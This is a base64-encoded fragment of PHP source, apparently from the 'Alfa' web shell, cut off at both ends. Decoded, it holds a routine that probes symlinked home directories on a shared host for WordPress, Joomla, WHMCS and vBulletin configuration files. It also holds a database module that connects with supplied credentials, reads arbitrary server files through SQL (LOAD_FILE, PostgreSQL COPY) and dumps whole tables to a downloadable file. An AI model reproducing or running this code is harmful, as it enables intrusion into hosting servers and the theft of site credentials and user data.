pZ3VyYXRpb24ucGhwJzsNCiRzb2xldmlzaWJsZTM4PWdldF9oZWFkZXJzKCRzb2xldmlzaWJsZTM3KTsNCiRzb2xldmlzaWJsZTI4PSRzb2xldmlzaWJsZTM4WzBdOw0KJHNvbGV2aXNpYmxlMjk9JHNvbGV2aXNpYmxlOC4nL3N5bS9yb290L2hvbWUvJy4kc29sZXZpc2libGUxOFsnbmFtZSddLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJzsNCiRzb2xldmlzaWJsZTMwPWdldF9oZWFkZXJzKCRzb2xldmlzaWJsZTI5KTsNCiRzb2xldmlzaWJsZTI3PSRzb2xldmlzaWJsZTMwWzBdOw0KJHNvbGV2aXNpYmxlMzE9JHNvbGV2aXNpYmxlOC4nL3N5bS9yb290L2hvbWUvJy4kc29sZXZpc2libGUxOFsnbmFtZSddLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCc7DQokc29sZXZpc2libGUzMj1nZXRfaGVhZGVycygkc29sZXZpc2libGUzMSk7DQokc29sZXZpc2libGUyNj0kc29sZXZpc2libGUzMlswXTsNCiRzb2xldmlzaWJsZTI1PSRzb2xldmlzaWJsZTguJy9zeW0vcm9vdC9ob21lLycuJHNvbGV2aXNpYmxlMThbJ25hbWUnXS4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnOw0KJHNvbGV2aXNpYmxlMzk9Z2V0X2hlYWRlcnMoJHNvbGV2aXNpYmxlMjUpOw0KJHNvbGV2aXNpYmxlNDA9JHNvbGV2aXNpYmxlMzlbMF07DQokc29sZXZpc2libGUyND0kc29sZXZpc2libGU4Licvc3ltL3Jvb3QvaG9tZS8nLiRzb2xldmlzaWJsZTE4WyduYW1lJ10uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJzsNCiRzb2xldmlzaWJsZTIzPWdldF9oZWFkZXJzKCRzb2xldmlzaWJsZTI0KTsNCiRzb2xldmlzaWJsZTIyPSRzb2xldmlzaWJsZTIzWzBdOw0KJHNvbGV2aXNpYmxlNDE9JHNvbGV2aXNpYmxlOC4nL3N5bS9yb290L2hvbWUvJy4kc29sZXZpc2libGUxOFsnbmFtZSddLidwdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJzsNCiRzb2xldmlzaWJsZTQyPWdldF9oZWFkZXJzKCRzb2xldmlzaWJsZTQxKTsNCiRzb2xldmlzaWJsZTQzPSRzb2xldmlzaWJsZTQyWzBdOw0KJHNvbGV2aXNpYmxlNDQ9JHNvbGV2aXNpYmxlOC4nL3N5bS9yb290L2hvbWUvJy4kc29sZXZpc2libGUxOFsnbmFtZSddLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCc7DQokc29sZXZpc2libGU0Mj1nZXRfaGVhZGVycygkc29sZXZpc2libGU0NCk7DQokc29sZXZpc2libGU0NT0kc29sZXZpc2libGU0MlswXTsNCiRzb2xldmlzaWJsZTQ2PSRzb2xldmlzaWJsZTguJy9zeW0vcm9vdC9ob21lLycuJHNvbGV2aXNpYmxlMThbJ25hbWUnXS4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCc7DQokc29sZXZpc2libGU0Nz1nZXRfaGVhZGVycygkc29sZXZpc2libGU0Nik7DQokc29sZXZpc2libGU0OD0kc29sZXZpc2libGU0N1swXTsNCiRzb2xldmlzaWJsZTQ5PSRzb2xldmlzaWJsZTguJy9zeW0vcm9vdC9ob21lLycuJHNvbGV2aXNpYmxlMThbJ25hbWUnXS4nL3B1YmxpY19odG1sL3N1Ym1pdHRpY2tldC5waHAnOw0KJHNvbGV2aXNpYmxlNTA9Z2V0X2hlYWRlcnMoJHNvbGV2aXNpYmxlNDkpOw0KJHNvbGV2aXNpYmxlNTE9JHNvbGV2aXNpYmxlNTBbMF07DQokc29sZXZpc2libGU1Mj0kc29sZXZpc2libGU4Licvc3ltL3Jvb3QvaG9tZS8nLiRzb2xldmlzaWJsZTE4WyduYW1lJ10uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnOw0KJHNvbGV2aXNpYmxlNTM9Z2V0X2hlYWRlcnMoJHNvbGV2aXNpYmxlNTIpOw0KJHNvbGV2aXNpYmxlNTQ9JHNvbGV2aXNpYmxlNTNbMF07DQokc29sZXZpc2libGU1NCA9IHN0cnBvcygkc29sZXZpc2libGUxNywnMjAwJyk7DQokc29sZXZpc2libGUxNj0nJm5ic3A7JzsNCmlmIChzdHJwb3MoJHNvbGV2aXNpYmxlMTcsJzIwMCcpID09IHRydWUgKQ0Kew0KJHNvbGV2aXNpYmxlMTY9IjxhIGhyZWY9JyIuJHNvbGV2aXNpYmxlMTUuIicgdGFyZ2V0PSdfYmxhbmsnPldvcmRwcmVzczwvYT4iOw0KfQ0KZWxzZWlmIChzdHJwb3MoJHNvbGV2aXNpYmxlMzYsJzIwMCcpID09IHRydWUpDQp7DQokc29sZXZpc2libGUxNj0iPGEgaHJlZj0nIi4kc29sZXZpc2libGUzNC4iJyB0YXJnZXQ9J19ibGFuayc+V29yZHByZXNzPC9hPiI7DQp9DQplbHNlaWYgKHN0cnBvcygkc29sZXZpc2libGUyOCwnMjAwJykgPT0gdHJ1ZSBhbmQgc3RycG9zKCRzb2xldmlzaWJsZTUxLCcyMDAnKSA9PSB0cnVlICkNCnsNCiRzb2xldmlzaWJsZTE2PSIgPGEgaHJlZj0nIi4kc29sZXZpc2libGU0OS4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsNCn0NCmVsc2VpZiAoc3RycG9zKCRzb2xldmlzaWJsZTQ1LCcyMDAnKSA9PSB0cnVlKQ0Kew0KJHNvbGV2aXNpYmxlMTYgPSIgPGEgaHJlZj0nIi4kc29sZXZpc2libGU0NC4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsNCn0NCmVsc2VpZiAoc3RycG9zKCRzb2xldmlzaWJsZTQ4LCcyMDAnKSA9PSB0cnVlKQ0Kew0KJHNvbGV2aXNpYmxlMTYgPSIgPGEgaHJlZj0nIi4kc29sZXZpc2libGU0Ni4iJyB0YXJnZXQ9J19ibGFuayc+V0hNQ1M8L2E+IjsNCn0NCmVsc2VpZiAoc3RycG9zKCRzb2xldmlzaWJsZTI4LCcyMDAnKSA9PSB0cnVlKQ0Kew0KJHNvbGV2aXNpYmxlMTY9IiA8YSBocmVmPSciLiRzb2xldmlzaWJsZTM3LiInIHRhcmdldD0nX2JsYW5rJz5Kb29tbGE8L2E+IjsNCn0NCmVsc2VpZiAoc3RycG9zKCRzb2xldmlzaWJsZTI3LCcyMDAnKSA9PSB0cnVlKQ0Kew0KJHNvbGV2aXNpYmxlMTY9IiA8YSBocmVmPSciLiRzb2xldmlzaWJsZTI5LiInIHRhcmdldD0nX2JsYW5rJz5Kb29tbGE8L2E+IjsNCn0NCmVsc2VpZiAoc3RycG9zKCRzb2xldmlzaWJsZTI2LCcyMDAnKSA9PSB0cnVlKQ0Kew0KJHNvbGV2aXNpYmxlMTY9IiA8YSBocmVmPSciLiRzb2xldmlzaWJsZTMxLiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsNCn0NCmVsc2VpZiAoc3RycG9zKCRzb2xldmlzaWJsZTQwLCcyMDAnKSA9PSB0cnVlKQ0Kew0KJHNvbGV2aXNpYmxlMTY9IiA8YSBocmVmPSciLiRzb2xldmlzaWJsZTI1LiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsNCn0NCmVsc2VpZiAoc3RycG9zKCRzb2xldmlzaWJsZTIyLCcyMDAnKSA9PSB0cnVlKQ0Kew0KJHNvbGV2aXNpYmxlMTY9IiA8YSBocmVmPSciLiRzb2xldmlzaWJsZTI0LiInIHRhcmdldD0nX2JsYW5rJz52QnVsbGV0aW48L2E+IjsNCn0NCmVsc2UNCnsNCmNvbnRpbnVlOw0KfQ0KJHNvbGV2aXNpYmxlMjEgPSAkc29sZXZpc2libGUxOFsnbmFtZSddIDsNCmVjaG8gJzx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LicuJHNvbGV2aXNpYmxlMTRbMV1bMF0uJy8+Jy4kc29sZXZpc2libGUxNFsxXVswXS4nPC9hPjwvdGQ+DQo8dGQ+Jy4kc29sZXZpc2libGUxNi4nPC90ZD48L3RyPic7Zmx1c2goKTsNCn0NCn0NCn0NCn0NCmVjaG8gIjwvY2VudGVyPjwvdGFibGU+IjsNCn0NCmVjaG8gIjwvZGl2PiI7DQphbGZhZm9vdGVyKCk7DQp9DQpmdW5jdGlvbiBhbGZhc3FsKCkNCnsNCmNsYXNzIERiQ2xhc3Mgew0KdmFyICR0eXBlOw0KdmFyICRsaW5rOw0KdmFyICRyZXM7DQpmdW5jdGlvbiBEYkNsYXNzKCR0eXBlKSB7DQokdGhpcy0+dHlwZSA9ICR0eXBlOw0KfQ0KZnVuY3Rpb24gY29ubmVjdCgkaG9zdCwgJHVzZXIsICRwYXNzLCAkZGJuYW1lKXsNCnN3aXRjaCgkdGhpcy0+dHlwZSkgew0KY2FzZSAnbXlzcWwnOg0KaWYoICR0aGlzLT5saW5rID0gQG15c3FsX2Nvbm5lY3QoJGhvc3QsJHVzZXIsJHBhc3MsdHJ1ZSkgKSByZXR1cm4gdHJ1ZTsNCmJyZWFrOw0KY2FzZSAncGdzcWwnOg0KJGhvc3QgPSBleHBsb2RlKCc6JywgJGhvc3QpOw0KaWYoISRob3N0WzFdKSAkaG9zdFsxXT01NDMyOw0KaWYoICR0aGlzLT5saW5rID0gQHBnX2Nvbm5lY3QoImhvc3Q9eyRob3N0WzBdfSBwb3J0PXskaG9zdFsxXX0gdXNlcj0kdXNlciBwYXNzd29yZD0kcGFzcyBkYm5hbWU9JGRibmFtZSIpICkgcmV0dXJuIHRydWU7DQpicmVhazsNCn0NCnJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIHNlbGVjdGRiKCRkYikgew0Kc3dpdGNoKCR0aGlzLT50eXBlKSB7DQpjYXNlICdteXNxbCc6DQppZiAoQG15c3FsX3NlbGVjdF9kYigkZGIpKXJldHVybiB0cnVlOw0KYnJlYWs7DQp9DQpyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBxdWVyeSgkc3RyKSB7DQpzd2l0Y2goJHRoaXMtPnR5cGUpIHsNCmNhc2UgJ215c3FsJzoNCnJldHVybiAkdGhpcy0+cmVzID0gQG15c3FsX3F1ZXJ5KCRzdHIpOw0KYnJlYWs7DQpjYXNlICdwZ3NxbCc6DQpyZXR1cm4gJHRoaXMtPnJlcyA9IEBwZ19xdWVyeSgkdGhpcy0+bGluaywkc3RyKTsNCmJyZWFrOw0KfQ0KcmV0dXJuIGZhbHNlOw0KfQ0KZnVuY3Rpb24gZmV0Y2goKSB7DQokcmVzID0gZnVuY19udW1fYXJncygpP2Z1bmNfZ2V0X2FyZygwKTokdGhpcy0+cmVzOw0Kc3dpdGNoKCR0aGlzLT50eXBlKSB7DQpjYXNlICdteXNxbCc6DQpyZXR1cm4gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXMpOw0KYnJlYWs7DQpjYXNlICdwZ3NxbCc6DQpyZXR1cm4gQHBnX2ZldGNoX2Fzc29jKCRyZXMpOw0KYnJlYWs7DQp9DQpyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBsaXN0RGJzKCkgew0Kc3dpdGNoKCR0aGlzLT50eXBlKSB7DQpjYXNlICdteXNxbCc6DQpyZXR1cm4gJHRoaXMtPnF1ZXJ5KCJTSE9XIGRhdGFiYXNlcyIpOw0KYnJlYWs7DQpjYXNlICdwZ3NxbCc6DQpyZXR1cm4gJHRoaXMtPnJlcyA9ICR0aGlzLT5xdWVyeSgiU0VMRUNUIGRhdG5hbWUgRlJPTSBwZ19kYXRhYmFzZSBXSEVSRSBkYXRpc3RlbXBsYXRlIT0ndCciKTsNCmJyZWFrOw0KfQ0KcmV0dXJuIGZhbHNlOw0KfQ0KZnVuY3Rpb24gbGlzdFRhYmxlcygpIHsNCnN3aXRjaCgkdGhpcy0+dHlwZSkgew0KY2FzZSAnbXlzcWwnOg0KcmV0dXJuICR0aGlzLT5yZXMgPSAkdGhpcy0+cXVlcnkoJ1NIT1cgVEFCTEVTJyk7DQpicmVhazsNCmNhc2UgJ3Bnc3FsJzoNCnJldHVybiAkdGhpcy0+cmVzID0gJHRoaXMtPnF1ZXJ5KCJzZWxlY3QgdGFibGVfbmFtZSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgd2hlcmUgdGFibGVfc2NoZW1hICE9ICdpbmZvcm1hdGlvbl9zY2hlbWEnIEFORCB0YWJsZV9zY2hlbWEgIT0gJ3BnX2NhdGFsb2cnIik7DQpicmVhazsNCn0NCnJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIGVycm9yKCkgew0Kc3dpdGNoKCR0aGlzLT50eXBlKSB7DQpjYXNlICdteXNxbCc6DQpyZXR1cm4gQG15c3FsX2Vycm9yKCk7DQpicmVhazsNCmNhc2UgJ3Bnc3FsJzoNCnJldHVybiBAcGdfbGFzdF9lcnJvcigpOw0KYnJlYWs7DQp9DQpyZXR1cm4gZmFsc2U7DQp9DQpmdW5jdGlvbiBzZXRDaGFyc2V0KCRzdHIpIHsNCnN3aXRjaCgkdGhpcy0+dHlwZSkgew0KY2FzZSAnbXlzcWwnOg0KaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZXRfY2hhcnNldCcpKQ0KcmV0dXJuIEBteXNxbF9zZXRfY2hhcnNldCgkc3RyLCAkdGhpcy0+bGluayk7DQplbHNlDQokdGhpcy0+cXVlcnkoJ1NFVCBDSEFSU0VUICcuJHN0cik7DQpicmVhazsNCmNhc2UgJ3Bnc3FsJzoNCnJldHVybiBAcGdfc2V0X2NsaWVudF9lbmNvZGluZygkdGhpcy0+bGluaywgJHN0cik7DQpicmVhazsNCn0NCnJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIGxvYWRGaWxlKCRzdHIpIHsNCnN3aXRjaCgkdGhpcy0+dHlwZSkgew0KY2FzZSAnbXlzcWwnOg0KcmV0dXJuICR0aGlzLT5mZXRjaCgkdGhpcy0+cXVlcnkoIlNFTEVDVCBMT0FEX0ZJTEUoJyIuYWRkc2xhc2hlcygkc3RyKS4iJykgYXMgZmlsZSIpKTsNCmJyZWFrOw0KY2FzZSAncGdzcWwnOg0KJHRoaXMtPnF1ZXJ5KCJDUkVBVEUgVEFCTEUgd3NvMihmaWxlIHRleHQpO0NPUFkgd3NvMiBGUk9NICciLmFkZHNsYXNoZXMoJHN0cikuIic7c2VsZWN0IGZpbGUgZnJvbSB3c28yOyIpOw0KJHI9YXJyYXkoKTsNCndoaWxlKCRpPSR0aGlzLT5mZXRjaCgpKQ0KJHJbXSA9ICRpWydmaWxlJ107DQokdGhpcy0+cXVlcnkoJ2Ryb3AgdGFibGUgd3NvMicpOw0KcmV0dXJuIGFycmF5KCdmaWxlJz0+aW1wbG9kZSgiXG4iLCRyKSk7DQpicmVhazsNCn0NCnJldHVybiBmYWxzZTsNCn0NCmZ1bmN0aW9uIGR1bXAoJHRhYmxlLCAkZnAgPSBmYWxzZSkgew0Kc3dpdGNoKCR0aGlzLT50eXBlKSB7DQpjYXNlICdteXNxbCc6DQokcmVzID0gJHRoaXMtPnF1ZXJ5KCdTSE9XIENSRUFURSBUQUJMRSBgJy4kdGFibGUuJ2AnKTsNCiRjcmVhdGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzKTsNCiRzcWwgPSAkY3JlYXRlWzFdLiI7XG4iOw0KaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KJHRoaXMtPnF1ZXJ5KCdTRUxFQ1QgKiBGUk9NIGAnLiR0YWJsZS4nYCcpOw0KJGhlYWQgPSB0cnVlOw0Kd2hpbGUoJGl0ZW0gPSAkdGhpcy0+ZmV0Y2goKSkgew0KJGNvbHVtbnMgPSBhcnJheSgpOw0KZm9yZWFjaCgkaXRlbSBhcyAkaz0+JHYpIHsNCmlmKCR2ID09IG51bGwpDQokaXRlbVska10gPSAiTlVMTCI7DQplbHNlaWYoaXNfbnVtZXJpYygkdikpDQokaXRlbVska10gPSAkdjsNCmVsc2UNCiRpdGVtWyRrXSA9ICInIi5AbXlzcWxfcmVhbF9lc2NhcGVfc3RyaW5nKCR2KS4iJyI7DQokY29sdW1uc1tdID0gImAiLiRrLiJgIjsNCn0NCmlmKCRoZWFkKSB7DQokc3FsID0gJ0lOU0VSVCBJTlRPIGAnLiR0YWJsZS4nYCAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4iKSBWQUxVRVMgXG5cdCgiLmltcGxvZGUoIiwgIiwgJGl0ZW0pLicpJzsNCiRoZWFkID0gZmFsc2U7DQp9IGVsc2UNCiRzcWwgPSAiXG5cdCwoIi5pbXBsb2RlKCIsICIsICRpdGVtKS4nKSc7DQppZigkZnApIGZ3cml0ZSgkZnAsICRzcWwpOyBlbHNlIGVjaG8oJHNxbCk7DQp9DQppZighJGhlYWQpDQppZigkZnApIGZ3cml0ZSgkZnAsICI7XG5cbiIpOyBlbHNlIGVjaG8oIjtcblxuIik7DQpicmVhazsNCmNhc2UgJ3Bnc3FsJzoNCiR0aGlzLT5xdWVyeSgnU0VMRUNUICogRlJPTSAnLiR0YWJsZSk7DQp3aGlsZSgkaXRlbSA9ICR0aGlzLT5mZXRjaCgpKSB7DQokY29sdW1ucyA9IGFycmF5KCk7DQpmb3JlYWNoKCRpdGVtIGFzICRrPT4kdikgew0KJGl0ZW1bJGtdID0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCiRjb2x1bW5zW10gPSAkazsNCn0NCiRzcWwgPSAnSU5TRVJUIElOVE8gJy4kdGFibGUuJyAoJy5pbXBsb2RlKCIsICIsICRjb2x1bW5zKS4nKSBWQUxVRVMgKCcuaW1wbG9kZSgiLCAiLCAkaXRlbSkuJyk7Jy4iXG4iOw0KaWYoJGZwKSBmd3JpdGUoJGZwLCAkc3FsKTsgZWxzZSBlY2hvKCRzcWwpOw0KfQ0KYnJlYWs7DQp9DQpyZXR1cm4gZmFsc2U7DQp9DQp9Ow0KJGRiID0gbmV3IERiQ2xhc3MoJF9QT1NUWyd0eXBlJ10pOw0KaWYoQCRfUE9TVFsnYWxmYTInXT09J2Rvd25sb2FkJykgew0KJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOw0Kc3dpdGNoKCRfUE9TVFsnY2hhcnNldCddKSB7DQpjYXNlICJXaW5kb3dzLTEyNTEiOiAkZGItPnNldENoYXJzZXQoJ2NhbGZhMTI1MScpOyBicmVhazsNCmNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOw0KY2FzZSAiS09JOC1SIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4cicpOyBicmVhazsNCmNhc2UgIktPSTgtVSI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHUnKTsgYnJlYWs7DQpjYXNlICJjYWxmYTg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY2FsZmE4NjYnKTsgYnJlYWs7DQp9DQppZihlbXB0eSgkX1BPU1RbJ2ZpbGUnXSkpIHsNCm9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCmhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9ZHVtcC5zcWwiKTsNCmhlYWRlcigiQ29udGVudC1UeXBlOiB0ZXh0L3BsYWluIik7DQpmb3JlYWNoKCRfUE9TVFsndGJsJ10gYXMgJHYpDQokZGItPmR1bXAoJHYpOw0KZXhpdDsNCn0gZWxzZWlmKCRmcCA9IEBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwgJ3cnKSkgew0KZm9yZWFjaCgkX1BPU1RbJ3RibCddIGFzICR2KQ0KJGRiLT5kdW1wKCR2LCAkZnApOw0KZmNsb3NlKCRmcCk7DQp1bnNldCgkX1BPU1RbJ2FsZmEyJ10pOw0KfSBlbHNlDQpkaWUoJzxzY3JpcHQ+YWxlcnQoIkVycm9yISBDYW5cJ3Qgb3BlbiBmaWxlIik7d2luZG93Lmhpc3RvcnkuYmFjaygtMSk8L3NjcmlwdD4nKTsNCn0NCmFsZmFoZWFkKCk7DQplY2hvICINCjxkaXYgY2xhc3M9aGVhZGVyPg0KPGZvcm0gbmFtZT0nc2YnIG1ldGhvZD0ncG9zdCcgb25zdWJtaXQ9J2ZzKHRoaXMpOyc+PHRhYmxlIGNlbGxwYWRkaW5nPScyJyBjZWxsc3BhY2luZz0nMCc+PHRyPg0KPHRkPjxmb250IGNvbG9yPVwiI2ZmZmZmZlwiPjxiPlRZUEU8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGNvbG9yPVwiI2ZmZmZmZlwiPjxiPkhPU1Q8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGNvbG9yPVwiI2ZmZmZmZlwiPjxiPkRCIFVTRVI8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGNvbG9yPVwiI2ZmZmZmZlwiPjxiPkRCIFBBU1M8L2I+PC9mb250PjwvdGQ+PHRkPjxmb250IGNvbG9yPVwiI2ZmZmZmZlwiPjxiPkRCIE5BTUU8L2I+PC9mb250PjwvdGQ+PHRkPjwvdGQ+PC90cj48dHI+DQo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPVNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hbGZhMSB2YWx1ZT0ncXVlcnknPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWFsZmEyIHZhbHVlPScnPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9JyIuIGh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKSAuIic+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0nIi4gKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykgLiInPg0KPHRkPjxzZWxlY3QgbmFtZT0ndHlwZSc+PG9wdGlvbiB2YWx1ZT0nbXlzcWwnICI7DQppZihAJF9QT1NUWyd0eXBlJ109PSdteXNxbCcpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPk15U3FsPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0ncGdzcWwnICI7DQppZihAJF9QT1NUWyd0eXBlJ109PSdwZ3NxbCcpZWNobyAnc2VsZWN0ZWQnOw0KZWNobyAiPlBvc3RncmVTcWw8L29wdGlvbj48L3NlbGVjdD48L3RkPg0KPHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfaG9zdCB2YWx1ZT0nIi4gKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKSAuIic+PC90ZD4NCjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2xvZ2luIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfbG9naW4nXSk/Jyc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9sb2dpbiddKSkgLiInPjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9wYXNzIHZhbHVlPSciLiAoZW1wdHkoJF9QT1NUWydzcWxfcGFzcyddKT8nJzpodG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3Bhc3MnXSkpIC4iJz48L3RkPjx0ZD4iOw0KJHRtcCA9ICI8aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2Jhc2UgdmFsdWU9Jyc+IjsNCmlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpew0KaWYoJGRiLT5jb25uZWN0KCRfUE9TVFsnc3FsX2hvc3QnXSwgJF9QT1NUWydzcWxfbG9naW4nXSwgJF9QT1NUWydzcWxfcGFzcyddLCAkX1BPU1RbJ3NxbF9iYXNlJ10pKSB7DQpzd2l0Y2goJF9QT1NUWydjaGFyc2V0J10pIHsNCmNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY2FsZmExMjUxJyk7IGJyZWFrOw0KY2FzZSAiVVRGLTgiOiAkZGItPnNldENoYXJzZXQoJ3V0ZjgnKTsgYnJlYWs7DQpjYXNlICJLT0k4LVIiOiAkZGItPnNldENoYXJzZXQoJ2tvaThyJyk7IGJyZWFrOw0KY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsNCmNhc2UgImNhbGZhODY2IjogJGRiLT5zZXRDaGFyc2V0KCdjYWxmYTg2NicpOyBicmVhazsNCn0NCiRkYi0+bGlzdERicygpOw0KZWNobyAiPHNlbGVjdCBuYW1lPXNxbF9iYXNlPjxvcHRpb24gdmFsdWU9Jyc+PC9vcHRpb24+IjsNCndoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgpKSB7DQpsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsNCmVjaG8gJzxvcHRpb24gdmFsdWU9IicuJHZhbHVlLiciICcuKCR2YWx1ZT09JF9QT1NUWydzcWxfYmFzZSddPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsdWUuJzwvb3B0aW9uPic7DQp9DQplY2hvICc8L3NlbGVjdD4nOw0KfQ0KZWxzZSBlY2hvICR0bXA7DQp9ZWxzZQ0KZWNobyAkdG1wOw0KZWNobyAiPC90ZD4NCjx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Jz4+JyBvbmNsaWNrPSdmcyhkLnNmKTsnPjwvdGQ+DQo8dGQ+PGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zcWxfY291bnQgdmFsdWU9J29uJyIgLiAoZW1wdHkoJF9QT1NUWydzcWxfY291bnQnXSk/Jyc6JyBjaGVja2VkJykgLiAiPiA8Zm9udCBjb2xvcj1cIiNmZmZmZmZcIj48Yj5jb3VudCB0aGUgbnVtYmVyIG9mIHJvd3M8L2I+PC9mb250PjwvdGQ+DQo8L3RyPg0KPC90YWJsZT4NCjxzY3JpcHQ+DQpzX2RiPSciLkBhZGRzbGFzaGVzKCRfUE9TVFsnc3FsX2Jhc2UnXSkuIic7DQpmdW5jdGlvbiBmcyhmKSB7DQppZihmLnNxbF9iYXNlLnZhbHVlIT1zX2RiKSB7IGYub25zdWJtaXQgPSBmdW5jdGlvbigpIHt9Ow0KaWYoZi5hbGZhMSkgZi5hbGZhMS52YWx1ZT0nJzsNCmlmKGYuYWxmYTIpIGYuYWxmYTIudmFsdWU9Jyc7DQppZihmLmFsZmEzKSBmLmFsZmEzLnZhbHVlPScnOw0KfQ0KfQ0KZnVuY3Rpb24gc3QodCxsKSB7DQpkLnNmLmFsZmExLnZhbHVlID0gJ3NlbGVjdCc7DQpkLnNmLmFsZmEyLnZhbHVlID0gdDsNCmlmKGwgJiYgZC5zZi5hbGZhMykgZC5zZi5hbGZhMy52YWx1ZSA9IGw7DQpkLnNmLnN1Ym1pdCgpOw0KfQ0KZnVuY3Rpb24gaXMoKSB7DQpmb3IoaT0wO2k8ZC5zZi5lbGVtZW50c1sndGJsW10nXS5sZW5ndGg7KytpKQ0KZC5zZi5lbGVtZW50c1sndGJsW10nXVtpXS5jaGVja2VkID0gIWQuc2YuZWxlbWVudHNbJ3RibFtdJ11baV0uY2hlY2tlZDsNCn0NCjwvc2NyaXB0PiI7DQppZihpc3NldCgkZGIpICYmICRkYi0+bGluayl7DQplY2hvICI8YnIvPjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTIgY2VsbHNwYWNpbmc9MD4iOw0KaWYoIWVtcHR5KCRfUE9TVFsnc3FsX2Jhc2UnXSkpew0KJGRiLT5zZWxlY3RkYigkX1BPU1RbJ3NxbF9iYXNlJ10pOw0KZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2Oyc+PHNwYW4+VGFibGVzOjwvc3Bhbj48YnI+PGJyPiI7DQokdGJsc19yZXMgPSAkZGItPmxpc3RUYWJsZXMoKTsNCndoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKSB7DQpsaXN0KCRrZXksICR2YWx1ZSkgPSBlYWNoKCRpdGVtKTsNCmlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9jb3VudCddKSkNCiRuID0gJGRiLT5mZXRjaCgkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJHZhbHVlLicnKSk7DQokdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7DQplY2hvICI8bm9icj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J3RibFtdJyB2YWx1ZT0nIi4kdmFs